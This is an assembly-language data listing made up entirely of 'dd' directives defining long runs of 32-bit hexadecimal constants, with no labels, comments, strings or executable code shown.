		dd 0D3BF4750h, 9432DE4Bh, 9F97D0CEh, 0D65E8B0Bh, 25C4447Ah
		dd 8DC2A73h, 0F4528B72h, 0EA28BEC8h, 4BDD06C1h,	9D425EE9h
		dd 309D5DF6h, 0EE659457h, 3A3AB830h, 89F60F6h, 9DFDF80Fh
		dd 88C0C34Bh, 0EE9FB2B0h, 0ECA9B542h, 77512F75h, 316F9300h
		dd 5AE90238h, 8E811E6Bh, 1FEF1609h, 279C4CAAh, 0FC7AEC54h
		dd 7D5EC2F8h, 0C44239FCh, 425A78h, 451DB3EEh, 0A0055954h
		dd 16CC481Dh, 0EC2FA240h, 5E71E94Ch, 5F9147D8h,	15A7F135h
		dd 2F72F536h, 18F89316h, 0FA40CAA8h, 0D08005B6h, 4CEFEEEh
		dd 585208Eh, 4EBCE4E9h,	52D1F606h, 591F38B2h, 2D8BD901h
		dd 9C435E3Eh, 75F53963h, 50582CEBh, 0E9990263h,	0FE9A7747h
		dd 0BF2798DFh, 1F1C00CAh, 0E4F78133h, 4A485274h, 197E7EF9h
		dd 2EE93244h, 6FD7B576h, 9FEBB106h, 97791320h, 0EB6F9E51h
		dd 0BD5FC0B7h, 9F421E71h, 0B86F891Eh, 6856385Fh, 0CC2AEF10h
		dd 1A4EE3D1h, 76C401BCh, 0EF8002A8h, 0D422632Fh, 435398BFh
		dd 0E68B8860h, 0B0CA4C67h, 95BA848Ah, 0CD0C0960h, 640A57A0h
		dd 0C69A030h, 45B0E27h,	0E9FB29E7h, 3F4EA1BAh, 0D2DF1DA2h
		dd 4B8D824Ch, 388A98E8h, 87196E0Bh, 7BAC86D3h, 0DB40B73Ch
		dd 0F893FE08h, 0B5CEB340h, 0A04EB74Fh, 0ECCBAE2Dh, 24FC9457h
		dd 3DF510E3h, 24C8CEB9h, 0C6021753h, 0BFBD010Dh, 7B3EBC0Eh
		dd 6808A650h, 3F2C141Ch, 2041AC17h, 2934C8B0h, 0E4C788F8h
		dd 48997F9h, 0E98638EDh, 9788BEB0h, 6875651Ah, 80D9A44Ch
		dd 45EE5A54h, 0E7DB9354h, 0C70F2273h, 0ADDFF64Fh, 0AD3083DDh
		dd 2B54128Bh, 0B31DE862h, 5B2204F5h, 0C24A8F2Ch, 1C79B2F5h
		dd 372F1A3Ch, 26A0682Ah, 1E690E46h, 3B412D0Dh, 30E0C138h
		dd 1C208837h, 0E445B5D1h, 553E5609h, 119F1E18h,	0F1BB3A95h
		dd 0A22D8169h, 2E16B875h, 7015484h, 3457685Bh, 0ADD68738h
		dd 332D8F8Dh, 4B4E5ACAh, 65904155h, 919C3667h, 6CB25444h
		dd 4F55E393h, 5207B8A8h, 700A70BAh, 5EAC167h, 8B840F09h
		dd 98A1FA76h, 367924E4h, 0EF96084Dh, 0E8E4D328h, 416A5C82h
		dd 0DCB2BB50h, 1250903h, 0CD7D85Ch, 74E5E951h, 8B00BF2Ch
		dd 8157DA5Eh, 9596EEFh,	0EAE94E8Fh, 93BA4F0h, 67A5B5D6h
		dd 0B54FFEA9h, 2C306BCDh, 4D96E9C3h, 0F130A573h, 7F46681Dh
		dd 7A253892h, 6C083A97h, 872940D5h, 0D75CA3AAh,	0A6ECC7AFh
		dd 0FEF0A78Ah, 0F5795A69h
		dd 0D34D59B4h, 73451240h, 0D23A1EA7h, 1FC036C4h, 0D687F229h
		dd 0C20B05Ah, 768481Fh,	3271180Ch, 0CCE9E41Ah, 0C378542Dh
		dd 6CF1454Dh, 12452624h, 0B529D2B2h, 0CA9DD030h, 6D81BA16h
		dd 48E33674h, 0D72D4BD5h, 395AE201h, 951E32Bh, 0DC7C4768h
		dd 11827AF3h, 0C4F4185Bh, 493568D0h, 2887B19h, 0B4AD2992h
		dd 0A159BC4Ah, 0A815729Ch, 5A79F248h, 86D33DEh,	375A8115h
		dd 2F09692Ch, 854E1C5Fh, 0D433686Bh, 9AC1F2C3h,	514804DAh
		dd 7A6A24Bh, 0C180B7B3h, 0F87BD4F8h, 61582FD7h,	13C1898Dh
		dd 0EC802D03h, 8E9FE980h, 0AF40868Ch, 0DFEB00B3h, 0F352833h
		dd 43A8748Ch, 45274330h, 2CC56071h, 1F42D6FFh, 0FC0B1610h
		dd 0E4BDE297h, 0AEE95C4Ah, 972B3241h, 3562B242h, 0FEBCAE7Dh
		dd 40FD42AFh, 0DF071F0Bh, 98D552F7h, 224A27ABh,	0C4C4B8E8h
		dd 0B932AB6Dh, 55CBA9E2h, 0E8F4D605h, 800F0B8Ah, 7F79428Ah
		dd 0D934376Ch, 74779C86h, 7B3F8EE2h, 0C66E27C7h, 421B6812h
		dd 0B5628B8Fh, 65F827E9h, 203AAD4Ch, 0A3CCB782h, 747F6804h
		dd 8A8B6F5Bh, 87D1F700h, 13DEE9F9h, 4B8D99BEh, 0D93F487Ah
		dd 3E70A436h, 2A31EE03h, 0DE0C0B15h, 9503455Ch,	0E9E55EF0h
		dd 54532D9Ch, 2EF7622Eh, 81ECD62Fh, 0F8C4E9C4h,	5A5926B2h
		dd 8AF386CFh, 0AA25B782h, 45991646h, 80EBD130h,	766A0F02h
		dd 0FB09370Ah, 5C03B25Fh, 0B20A902Ch, 9DADC4C5h, 462081D8h
		dd 0B92D4AFCh, 315B0771h, 0C4098FC3h, 51AD24CFh, 0C74E12FAh
		dd 99466978h, 5DEE8912h, 2B068EC5h, 0B127EA0Dh,	0CBEE24C5h
		dd 0E0CD444Bh, 5100466Fh, 0D9F070B9h, 51CE29D2h, 0D43ADF59h
		dd 0E54BFD7Fh, 147E39AEh, 0E46BFCCDh, 569985EAh, 0C9A6ED68h
		dd 68410257h, 0C301C9A0h, 0FB964023h, 34274D7h,	252F6E58h
		dd 1046F268h, 4B627995h, 600B5C53h, 0B0A66E7Ch,	16F64AEDh
		dd 4AAEF877h, 0C994F9E9h, 0F0614A2Ah, 0A2475B15h, 16FFD3CFh
		dd 8198B3D9h, 36052915h, 3507B02Ah, 814A410Bh, 2DB0540Dh
		dd 0A4306EF2h, 53F83F0Bh, 2C7417B3h, 7419FCDCh,	7B5CF7A2h
		dd 0C8FC2227h, 0D559E9D6h, 0B75290E2h, 26BE0B48h, 0CF08AE9h
		dd 0B26CE68Ah, 0FBB8D698h, 0FE50661Bh, 0F358AB54h, 0A0DFB3EBh
		dd 5CD7E9D9h, 0E997C134h, 0AD313F42h, 2DF7965Bh, 46655FF8h
		dd 7FBC4925h, 8F120228h, 0F91D7D47h, 0D95759EDh, 0E7D03AC1h
		dd 0C0707615h, 455EF53Eh, 0AA258A0Fh, 5A56DEB7h, 4B9FA70Fh
		dd 132992E9h, 8A0B0844h, 59DD88E8h, 0E5A26A3Dh,	5CE4084h
		dd 1456CAF5h, 0D58AC2BDh, 5925A965h, 6EEA096Ch,	0EC314F5h
		dd 92534CB9h, 0ACB8BFC0h, 14FF36Dh, 3E2B4BCh, 2E5E1A69h
		dd 0ED403D7Dh, 0CA16EADh, 1EB1E923h, 85D3A843h,	16A2E5ACh
		dd 0C813C644h, 9983204h, 0B6414E42h, 5BE64488h,	0E95CB09Dh
		dd 43E449BFh, 156BF719h, 59162E8Ch, 0F8D7A9E3h,	0F22DF033h
		dd 3D062C44h, 0FBB3001h, 9754F486h, 740B8E2h, 59A2C68h
		dd 8EE06C95h, 94B1510Eh, 0D63A89E9h, 0B882BEFFh, 2AD4C16h
		dd 811CB154h, 52B3ECC2h, 0A289DDFDh, 0A25D684Ah, 75ED81F7h
		dd 8CE23A90h, 0A0017DEh, 89A9F719h, 0C15909CFh,	0FC0005E7h
		dd 0FD03EF9Ah, 0BA2094Fh, 2F31CB10h, 131B5353h,	4D0EE09Ch
		dd 0D296D5B0h, 4F02802h, 49FB793Fh, 14680007h, 0C4E9E87Dh
		dd 5C010E16h, 95C9EB80h, 5A111820h, 0B704CFE3h,	0A0E7E976h
		dd 51975413h, 8B2C0DDBh, 2CF5277Eh, 82160B57h, 0F88310A5h
		dd 0A2E71A5Dh, 2D105FE9h, 0DD95F7Ch, 9FEB33Ah, 10B30F66h
		dd 81C3FE85h, 62BE404Eh, 474FC761h, 0DE07AFE8h,	0D06C6F4Ah
		dd 0A82194F6h, 8981345Eh, 0BC057314h, 0D159B077h, 984F71E7h
		dd 3FF6B4Dh, 0C03101D4h, 73BBB673h, 0DD62C227h,	5314985Dh
		dd 80CF5E88h, 93345940h, 4D203490h, 0D0F6078Dh,	0B203E8C0h
		dd 0E544688h, 0FBBC6B8Bh, 9190BD2Eh, 0A85F2C0Fh, 4194118h
		dd 6C61E1B5h, 5101D100h, 9AB43B50h, 0FEDAF480h,	1C8B0FC4h
		dd 29982DBCh, 0CDCA01B3h, 2B0F6EB4h, 0D3255904h, 1C7D3109h
		dd 8F681E39h, 0A2A245Ah, 0CB53BD65h, 50272300h,	6F907186h
		dd 5D0D2369h, 0F4E60E05h, 6C629069h, 91AF13Dh, 0DB232382h
		dd 86162209h, 89B6C559h, 0F0409B3h, 0F1800335h,	14C1982Fh
		dd 2ACF7D28h, 1DAEF244h, 1ECBFEDBh, 0DF7AC9D3h,	18BFEB90h
		dd 89598509h, 0CB3380F3h, 0F7FC690Ch, 367F0C87h, 3DE991E5h
		dd 0BD992FFBh, 8B3902EEh, 0E75CD009h, 5347936Ah, 2B86A7F1h
		dd 0B6931FE7h, 365531FDh, 99056DD7h, 0B307A00Ah, 0AD98024Bh
		dd 0E70E5EA8h, 73C811BDh, 842FE45Ah, 9F31104Ah,	0B79F7919h
		dd 1FBCBD0h, 337DE56Ah,	1089C013h, 0E969168Ch, 0BD474086h
		dd 35DA6E3Eh, 0AACD8103h, 4179A764h, 0AE1088E5h, 95DDF780h
		dd 0C8E64DF8h, 0CAC594Eh, 0F3F5A878h, 20190510h, 0EAEB834Fh
		dd 6240EC19h, 68592382h, 6EA02EB5h, 512921BAh, 1D983866h
		dd 2E2B70Dh, 0F054BF85h, 0B5EC4640h, 0D81A39E3h, 94E26624h
		dd 0C82942F1h, 991371FBh, 7A4DD4ACh, 10F8E9B4h,	0D841A003h
		dd 5AF88A2Fh, 596270A2h, 7CD4712Bh, 0CB0FF34Bh,	0E9858A59h
		dd 5953A0EEh, 9ED728F0h, 0CA872EB2h, 7148811h, 0DC555B09h
		dd 0CD04EB20h, 9FBD12D0h, 7F34050h, 430C39ABh, 0B19C750Fh
		dd 644E3EF4h, 0C0491B2h, 0F437E95Bh, 0D148C2F7h, 48D41637h
		dd 0D8A61362h, 0AFEABD5Ah, 0A1147DEBh, 30308E1Fh, 69D77E4Bh
		dd 5715037Eh, 391472BFh, 6E5A31B2h, 0B4343509h,	8132D51Ch
		dd 0DD3AE606h, 0DF324A95h, 27447C01h, 0A34D2025h, 568C1812h
		dd 0E810441Bh, 0B01D7F2Dh, 45C213CEh, 97D41C29h, 0B29CC8FBh
		dd 4CD6564Ch, 0C828B089h, 0CC120E9h, 0B7BDBF4Fh, 12FB011Fh
		dd 0BDA5C468h, 19D75E1Ch, 55D2DBD5h, 9353D4D2h,	0EFE82343h
		dd 314C34A8h, 94FB892Ah, 0C4C75F5Dh, 72F91293h,	39D2D7D6h
		dd 5C279F76h, 6E01795Bh, 56086910h, 5BE93FEEh, 315ACD81h
		dd 40192B20h, 0D36F8984h, 312DB88Dh, 50D5B6DEh,	29C4F121h
		dd 0AEFCCEE9h, 0BC07EC4Eh, 9909E8E9h, 57559E49h, 0E7AE5CAAh
		dd 0C1ADE254h, 781244h,	80FD5E70h, 3EAC030h, 0ACAFE30h
		dd 30E28602h, 0E908D4F6h, 0D7BA3271h, 0B27C7222h, 489A4D49h
		dd 2CC9FE16h, 0C84AE926h, 55830684h, 8047000Bh,	0D930FAC3h
		dd 0BD48045Bh, 4C2C3A04h, 99B57050h, 0FB30B579h, 815C5EB7h
		dd 711CC78Eh, 0BD498ABCh, 0DE253702h, 74960B22h, 4E3263D9h
		dd 5B840908h, 64FADFh, 9ACE301h, 0EB5774ABh, 5D12082Ah
		dd 5B4C6D8Fh, 591DD620h, 927CEA83h, 939B2927h, 9D20872Ah
		dd 0AB855582h, 0AA51EFA4h, 2DBD0EC0h, 2576038Eh, 2140FB1h
		dd 2F230DC0h, 84126778h, 0B1A2F24Fh, 419E1810h,	47846A86h
		dd 2F7EE1E9h, 6EF19128h, 0E981C8C9h, 183B6264h,	4055CDFEh
		dd 1FB15162h, 0FBCE88C0h, 65F1942Fh, 0E9565DE0h, 0B382A842h
		dd 0EBC02F67h, 35370E82h, 1762785Ah, 68E6A10Bh,	318D0F76h
		dd 8CB99581h, 0F2A781A0h, 878AFEFCh, 2967E02Eh,	17E420E7h
		dd 6037A12h, 0A48C67EAh, 478F03F4h, 0A91CC240h,	29FDDE80h
		dd 0DE16F41h, 305BB017h, 14F527B5h, 0D6A8BAAh, 0FBE77DE9h
		dd 3CD3B03Eh, 6334294Fh, 0C27788AEh, 330C6A60h,	0BD9288E9h
		dd 0C4978AE6h, 0A5DD27BDh, 54F79BC8h, 0FC7ECB25h, 0FA350799h
		dd 0AE4EB439h, 20229E18h, 2376040Fh, 0FE05E1C1h, 0AB83985Dh
		dd 0B508CE43h, 0ED71C980h
		dd 0F5C7EA42h, 3B8B3A6Dh, 5493F1F9h, 0BCCE64AFh, 92B3D39Dh
		dd 9BA9E909h, 6E0E3C7Ah, 0C458E528h, 80ABB7EDh,	1FC9E901h
		dd 9C821F9Eh, 543079CFh, 985408B4h, 31176C26h, 28FA1152h
		dd 0EE5F6BCFh, 9785D927h, 5484B795h, 0E26367FAh, 1248C9E7h
		dd 3080672Eh, 0D2CEE4F1h, 83340808h, 0C1CCE909h, 0C57F5CABh
		dd 12F581D6h, 10C97D8Fh, 0A5408A61h, 0A6BCC106h, 0F977453Fh
		dd 5B299373h, 0C19674FAh, 39761984h, 16BB94F9h,	0B7A3FBC7h
		dd 1A07984Eh, 29A62BFFh, 0B01EE9C5h, 7DB25A63h,	4B37FA97h
		dd 8465925Fh, 0B1080056h, 0E2CC3A66h, 0C62EF345h, 57809B0h
		dd 0A4358178h, 21190A26h, 50F14F14h, 7D43B8F8h,	0F72E9053h
		dd 64E1E9F8h, 814B48CAh, 8185CDC4h, 6E9BEBADh, 277833AAh
		dd 8813293Fh, 16521DDFh, 8578A2EAh, 0BB51A68Eh,	0F9F602D9h
		dd 76CE6CE9h, 937FEFD1h, 12F9E9F1h, 0BD697Ah, 4BAD3D12h
		dd 4E00D815h, 2D3EE847h, 0AB7FF507h, 0E5B5E93Ah, 0F9067CBDh
		dd 0E81BEE23h, 622CFE98h, 0DE8864F3h, 0C3FE0ABCh, 0D4801F02h
		dd 0F8309DB8h, 79ADF693h, 921E113Dh, 9B7183ABh,	0D86B757Ah
		dd 634AE960h, 0F7EA4041h, 0DACB550Eh, 0B7CD706Fh, 308E99C5h
		dd 9C64DF0h, 6325A9Bh, 20840D4Ch, 0BFB62D65h, 0ED2EA78h
		dd 68EB61ABh, 85975079h, 2FBF219Dh, 9796AACFh, 0AC80C44Fh
		dd 0B76B3CF1h, 0CECC4F40h, 59CA2C29h, 69E9C23Dh, 0F161264Ah
		dd 8B06A808h, 133FB33Fh, 28EFD99Dh, 535E5D66h, 0F05BB222h
		dd 81BB6781h, 4391E25Ch, 8B9D8C59h, 27C73E25h, 0E641E3E9h
		dd 16BC7254h, 31A8A7E7h, 0E92D89E8h, 582595Dh, 0AC6BCE68h
		dd 58FC587h, 0E72DB8F3h, 428792A8h, 437664FFh, 5B4B6BCBh
		dd 0A3632C85h, 2FB11F00h, 5776AE2Dh, 0F1350475h, 0EFBA59A8h
		dd 36687702h, 83E5554Dh, 163FE986h, 0D2F72C0Ah,	12A027Ch
		dd 975BD90h, 25DCECFEh,	6664E47h, 285638h, 0DDC98159h
		dd 9072966Eh, 6D44028Eh, 0F901470Bh, 4EF12460h,	0B7C0E913h
		dd 0D43837ABh, 2CDBFDBDh, 8D099C8Fh, 0F2D9F112h, 0CD448762h
		dd 9095B97Fh, 13E581F9h, 974A11h, 2B03C579h, 3EC94BF1h
		dd 749E0021h, 0D116852h, 5AF81B22h, 0F1C86F26h,	6C978442h
		dd 6D5C2D15h, 94F5A54h,	40B56232h, 24DA289Bh, 0E635B66h
		dd 96628007h, 65E14C2Ch, 0E882DBB5h, 8FA4F8C1h,	0CBCA31F9h
		dd 16A65659h, 644CFD5Ah, 0A3C00709h, 0DF1E47F7h, 9E8B420Ah
		dd 9DF4E5E9h, 45E66806h, 0BD242597h, 1090CC16h,	0E6F43041h
		dd 0DBD0555h, 8056A009h, 9B515E3Dh, 20E9053Fh, 4CD9E07Bh
		dd 4D585380h, 0C09EE2Dh, 0FE8B96F5h, 0BF57B241h, 0AB557C8Bh
		dd 12611659h, 522077FFh, 25BCA9FBh, 9631B5Ah, 0B730E90Dh
		dd 10495C5Eh, 972F1286h, 0BE566130h, 0FD169B1Fh, 0D300EE66h
		dd 0E97C3A7Dh, 0B3D84B77h, 765225C7h, 0E9325A0Bh, 0E918574Eh
		dd 0BA42B49Bh, 0B3670078h, 895EB90Ch, 0C29511B1h, 247D560Eh
		dd 3899036Ch, 137F73FAh, 5181C339h, 76A69C0Bh, 0D4040313h
		dd 28EBA048h, 0B24078FBh, 3989733h, 5E8162FCh, 0C255BFD9h
		dd 3B82681Eh, 80450D19h, 0C2D8E4F2h, 80829D3Dh,	0A5F16E05h
		dd 9390F720h, 0C6123B25h, 46FD0C2Ch, 3E4E79C4h,	0C992803h
		dd 81386850h, 4F7C0880h, 0FC0BBFD3h, 5D08A799h,	0C4F25762h
		dd 5228C9B3h, 372006D8h, 0CE0128F4h, 0EFC797BCh, 0FA2DF222h
		dd 4E51181Eh, 0EEE1C2FDh, 4AC15734h, 0EC88DA29h, 0F0E90908h
		dd 52701F0h, 2F207B02h,	7F8FAC87h, 9D2A1133h, 6E8BBC74h
		dd 2DF7F169h, 80A5F6D5h, 5D51C054h, 436E9DCh, 17F4D4Fh
		dd 14F3C4D9h, 0A0108808h, 4B0C64B5h, 0FB190F0h,	0A2C1800Eh
		dd 0B809B344h, 1937C5B0h, 21C558ECh, 5E2EB285h,	262C64D2h
		dd 6813BD01h, 388C4BA3h, 0C5803F18h, 8825284Bh,	8E50EF39h
		dd 0EBD4F6FCh, 759057E7h, 325BA268h, 0E9A17AFDh, 2125359Fh
		dd 0C1776A2Eh, 55CBFDF2h, 9A2755C7h, 75D40939h,	0EE018AA2h
		dd 6DB8E9C1h, 2C7F0E0Dh, 52F80164h, 46FDADB2h, 62A9A254h
		dd 0A01AF981h, 815A801Ch, 0C15C581Fh, 3550B7EDh, 78687601h
		dd 7B2BE971h, 0C79EE33Ch, 69E87DCFh, 7FEAE300h,	91D9C10h
		dd 902071E9h, 0FE283528h, 0DEB3EC3Ah, 101C880Ch, 7952030Dh
		dd 8E0F1FF0h, 4C4BFBE5h, 5D07ABC6h, 88C4700Fh, 0E2FDD79Eh
		dd 12750BD9h, 0A147CCFFh, 313F9268h, 3CA6BA8h, 7753F155h
		dd 58E27674h, 4C741003h, 510EFD28h, 0C80B88B1h,	2C1DFA5Ch
		dd 5258A5E6h, 80EC17B6h, 0E87905EEh, 0BB354999h, 0EB011DF9h
		dd 1B820A59h, 0B2125B68h, 0F11D9074h, 35137F06h, 7D10DA29h
		dd 3BFC4F08h, 5D0EBD4Ch, 29680B9Ch, 84D5F709h, 96C06776h
		dd 0BBCD016Dh, 0C0502D0Bh, 39B85000h, 9258623h,	711097C5h
		dd 7B9D2AE0h, 6B9F420Fh, 0D2DC5DDh, 3CB0F13h, 6B99E2D6h
		dd 6070F053h, 0F875D9Ch, 648F972Ah, 0A2CA9EC7h,	12FBBD5Ah
		dd 35E9922Ah, 3F05BB92h, 44EB76AAh, 0F2F7F948h,	93447F07h
		dd 3225615Eh, 0F2F7EF8Ah, 0F2B1487Fh, 195702CAh, 0F450E9D9h
		dd 0F32E4657h, 207F21FDh, 7B7A2DD2h, 0A53DCE3Eh, 0ADD501C3h
		dd 0E76CD831h, 0FC2CFED2h, 0D3150CDEh, 0CBF84208h, 0D53D5C81h
		dd 0CACE9413h, 0B1494FA8h, 5C932959h, 52521ECAh, 5E65818Ah
		dd 1A952E05h, 2F9CC608h, 0BA0113C7h, 603837B0h,	56D077Fh
		dd 18E870BBh, 0CF54BCE9h, 5F63A693h, 0E29BB10Ah, 0B70B589Ah
		dd 3DA85AF3h, 974B330Eh, 1AE2C00Bh, 5C6B4577h, 0ADD0094Ah
		dd 92DBE51Ch, 0DC3F843Dh, 0CA609096h, 6A74F2F5h, 0F54D48F5h
		dd 0D60004Bh, 4F7C3538h, 0F8418D90h, 0F556B46Eh, 8E657301h
		dd 5DEE31D7h, 54210861h, 0ED12D339h, 913C0406h,	0DE5CF9C4h
		dd 0D984C2D3h, 2FA200ECh, 0F681BA48h, 0D80E273Bh, 0BDEE03CDh
		dd 170332Eh, 8CD7A318h,	7CECE9B8h, 4888264Ah, 694B0E16h
		dd 0CEBC5554h, 959F395h, 81F970A9h, 0F1F85CC4h,	0A98AEEE4h
		dd 5C96EE23h, 0BDD374ADh, 9932131Fh, 0C487D5B9h, 0BA29DB02h
		dd 0EF595874h, 0B02FE908h, 0E35B2095h, 0BF139CB8h, 5282B8C2h
		dd 76B4225Bh, 0C98CC29Dh, 0A8A6295Fh, 0DEF75844h, 82E004D9h
		dd 9212EFFCh, 0F3874856h, 0BFB20C2Ah, 0A2280645h, 4C65D720h
		dd 0B410EF4Fh, 0A0B20960h, 43E7DC50h, 0D11069FDh, 0A35B7FC4h
		dd 0DABC4B7Bh, 6CF45489h, 54180BD3h, 945D28E9h,	0DE292740h
		dd 1303D6Ch, 3E7AD2C6h,	632B5F6Ah, 0A3D599FCh, 0FA8807ECh
		dd 0D744D2F6h, 5F955684h, 0D2DA8ABFh, 0C1389543h, 5D3A279Ch
		dd 5862D454h, 37FE09EEh, 1129302Fh, 0FEE957Bh, 73124A6Fh
		dd 3AAE4BEEh, 0B033B768h, 4BE82180h, 31C0AD5Dh,	0D5E9F708h
		dd 3CBBD7CEh, 447F30DAh, 0D2A6245h, 0E97CCF87h,	57511F3Ah
		dd 72C95F9Fh, 0C2385CB9h, 0BA00CC05h, 0B5AC4DADh, 524FCDE0h
		dd 315E0109h, 7E028BEAh, 65E989A3h, 124A9EF5h, 0A2821B2h
		dd 0DE15387h, 7E97F245h, 202A8C8Bh, 0CD2927A2h,	8588B945h
		dd 9E6806CBh, 0E62F1527h, 9F6C1EFAh, 2B95C5C4h,	14D09AFFh
		dd 96692941h, 0F79787E3h, 0E0D132D7h, 0CBE9BAA1h, 5A228080h
		dd 52C2BE56h, 0A6504A6Ah, 4D863904h, 0AA6410EFh, 6948854Eh
		dd 0BF8C6B22h, 33D56249h, 546559CBh, 42ACE989h,	789B5501h
		dd 88727BD9h, 935C7D75h, 0BD2900CFh, 590BEC7Ah,	5702369Bh
		dd 0F5C37EE9h, 0C2DC6BAFh, 0D314D7CEh, 0F627167Ch, 96E96273h
		dd 18B90668h, 20026213h
		dd 330015ACh, 0C3813615h, 0A32E55ACh, 0E9854619h, 48B925E1h
		dd 9E7A860Bh, 3069F58Eh, 0D901F246h, 5A378355h,	71E0EAD1h
		dd 0A5599D75h, 45504682h, 6989FD3Dh, 0C68029DCh, 5632E416h
		dd 0BD589831h, 83892092h, 3B95A975h, 0F9DB9F0Ch, 0FEE96203h
		dd 0AD7907EAh, 17E53DB7h, 9E5A29B8h, 0B3471091h, 2EFA064Ah
		dd 0C32F35F9h, 2BACC58h, 7D5D6402h, 3282CB31h, 0A3DA98D4h
		dd 4C9EC320h, 0FB04FC5Dh, 0AA135C56h, 0BBF77704h, 832DAD00h
		dd 227BE41Bh, 1BA2362Dh, 7BFA0Ch, 134504B9h, 4C21E9B0h
		dd 0B051261h, 385F0C22h, 342BFE5h, 0E938C73Eh, 45099994h
		dd 5CFD69FCh, 0B10613F9h, 830D839h, 6817455Fh, 87FC6280h
		dd 0C4416212h, 0E75F8B98h, 5B2F082Ah, 5B465017h, 0C0BD2D58h
		dd 3507E09Ch, 0FE099DCAh, 0F4C229DFh, 9052C4A1h, 6871A7F0h
		dd 63E3C68h, 5FD5A1Fh, 506D6035h, 4FB287D0h, 873A0CE7h
		dd 4A0645EAh, 0B4E2D124h, 90B8BE0Bh, 2C432D87h,	0BBDC7160h
		dd 0D6C5C9CAh, 0E817100Fh, 0FE8BD5A3h, 5B76EF54h, 400D96E0h
		dd 97BC55E4h, 9BE80C2h,	0F89D125Ah, 975DF8B3h, 3255EBE2h
		dd 68E22A1Ch, 0E6FCB412h, 106CF74Fh, 0BA016C81h, 1790844h
		dd 88B32B74h, 25060C41h, 40F39077h, 0C377215Ah,	0CFF10A4Fh
		dd 4B9F6F62h, 730879Fh,	38FF9668h, 0B7A0C4C3h, 83D0016h
		dd 174C64Fh, 40BDCA48h,	0EC15908h, 67BD7DA5h, 839658FEh
		dd 9F1C1C08h, 97359257h, 9AA049FCh, 0D31D4868h,	9AC15EFEh
		dd 0DD6E1A22h, 9E5D44FCh, 0D01B92A5h, 0DFB6C1C9h, 89D4FB17h
		dd 93E91D90h, 1852A0E7h, 7CF1302Eh, 0F23A8976h,	2AF58051h
		dd 83C8A9A3h, 0A0885F3Eh, 77209D02h, 1C1EC0CBh,	0D37D6090h
		dd 0A16C4E20h, 9E680B2h, 59BBA182h, 640B24E4h, 4432C2Dh
		dd 61FFC12Fh, 164C7376h, 71919810h, 8F23A09Dh, 0ECBF81EDh
		dd 47589575h, 484104C4h, 81AA7015h, 4D1D88Bh, 80DBC1FEh
		dd 14E168E3h, 69AB1E04h, 9A048373h, 0DA98C29Ch,	0BFCD06F0h
		dd 0C50823Ch, 52030B09h, 0D03B8034h, 2EA17FECh,	12D1E929h
		dd 601B3DBh, 78467D58h,	8E983D0Ch, 0E3DEFDADh, 0B0124ABEh
		dd 0B26FFBA1h, 6FE9C207h, 0B5CFC615h, 0FEA7F445h, 6046495Eh
		dd 0F21F322Fh, 61CF3073h, 0FBE8C6D9h, 0F8EEF62Dh, 0BDF380A4h
		dd 2FD93433h, 0CC54BB0Ch, 76DC201Ah, 589C3380h,	0C9B9A808h
		dd 0C24FFC97h, 3292C29Ah, 0A571AFBFh, 70ECE283h, 0FD1158C4h
		dd 0E094109Eh, 81425F25h, 6E270D5Eh, 0EA029DB0h, 0C0097822h
		dd 0B0212B6h, 15B253Fh,	0A7148F6h, 0B684132Ah, 7E06136Dh
		dd 0BF351190h, 0D3AF2D5Ah, 2B57D2C1h, 0F70CA344h, 929F70E3h
		dd 0C097A1F0h, 0F60559CAh, 0F2C280DAh, 0F801D4D7h, 0CC25E704h
		dd 82E9A76Bh, 8130B151h, 0D1F6B2A4h, 0C17E917Fh, 28BCD09Ch
		dd 0F3B660B5h, 6182F2h,	37680058h, 28AE2653h, 0D3C16279h
		dd 0A094E657h, 807B5CF4h, 0D89DE189h, 9A71EAD4h, 0B3C84B64h
		dd 39EBD6BCh, 0CA9C38D1h, 0E3A6F729h, 0FA1E9603h, 0DAD0D915h
		dd 0E160500h, 0F6708D26h, 0E140B313h, 0C08A50Dh, 400BB831h
		dd 627034A8h, 0BDABC350h, 0A3440981h, 8F05CF00h, 27401B57h
		dd 0F67CC789h, 5A667472h, 427C255Fh, 520033E8h,	15506856h
		dd 8B6F19ADh, 0DFE92232h, 81CC0A14h, 0BA5D25E7h, 0C60C931Ch
		dd 0E9213203h, 0C993D478h, 0F2D1BAEBh, 2ED87E68h, 9F5B918Dh
		dd 0EEC089C2h, 7ECD9677h, 7F5C816Bh, 94CBDD28h,	0E6FD59D4h
		dd 8DC2BF7Eh, 0B1B2D57Ah, 54275591h, 0BC80EEAFh, 4BEA5F45h
		dd 0BDFD3055h, 1E1D1B4Bh, 1758E965h, 74E0BA5Bh,	0F4A055Fh
		dd 0FEC4458Bh, 40B1BB28h, 0E0258A60h, 26E0785Dh, 1AD05BB7h
		dd 434CD5F4h, 0F549B3F8h, 6A059242h, 15C9E609h,	10D860FEh
		dd 5AD52D89h, 33491B58h, 0EF7810CDh, 4EFB777Eh,	809CADECh
		dd 2BB5396Ch, 0E8DF5EF7h, 0F4F0535h, 2F9238Dh, 397DE703h
		dd 0F7B01E69h, 0AC1824D4h, 59E05A2Ch, 0C227C05Dh, 6CAD461Ah
		dd 30C5997h, 0DA88D88Ah, 5B5AD490h, 80C2664Ah, 5488F828h
		dd 7E058452h, 789B3D2Ah, 0AFC7611Ah, 0CC51B204h, 2200B9F4h
		dd 0BB190102h, 1350CE1Ah, 0FACB2987h, 4F31DB2Ch, 0D4CDE3D8h
		dd 0AFB91352h, 0E88849E8h, 0D7E34230h, 60FD2C46h, 190B25A4h
		dd 82C63277h, 416E273Ch, 0BB00D44Ch, 25095F0Ch,	0DDCB3155h
		dd 241B3E03h, 0C5DE87B4h, 9333B8B3h, 6A9C7801h,	947B1FE7h
		dd 0C08189Dh, 5A3912BCh, 95E91D2Fh, 0F2BEB1B0h,	0EC9C018Bh
		dd 6F7A4E05h, 2DCB7019h, 20E907A0h, 4D35E69h, 0D6AEC3E4h
		dd 4B020C2Dh, 116A664h,	0BF5761D3h, 5C312470h, 0D920C011h
		dd 0AF547397h, 0E912B75Ah, 0C3F8C6EDh, 5C0458B3h, 5CA74305h
		dd 548EE487h, 9B284E08h, 7CC36929h, 31866203h, 3C9AFDC4h
		dd 70C4DAE9h, 71C97FC1h, 0D28B1970h, 3DF0BD3h, 0BBFC4184h
		dd 2CF035D9h, 7166BED0h, 93A03A29h, 39E158D2h, 0B0214B2h
		dd 0EC2D057Eh, 0B48CB5C1h, 985EBAEBh, 0DB1427BBh, 7901732Bh
		dd 30891644h, 5B4E3554h, 0FE124B8Ah, 1307ED19h,	50F4F9CDh
		dd 0BD2240A2h, 0B0C27ABDh, 0EC5D5E6Bh, 0F1420F7Ch, 0BAF03725h
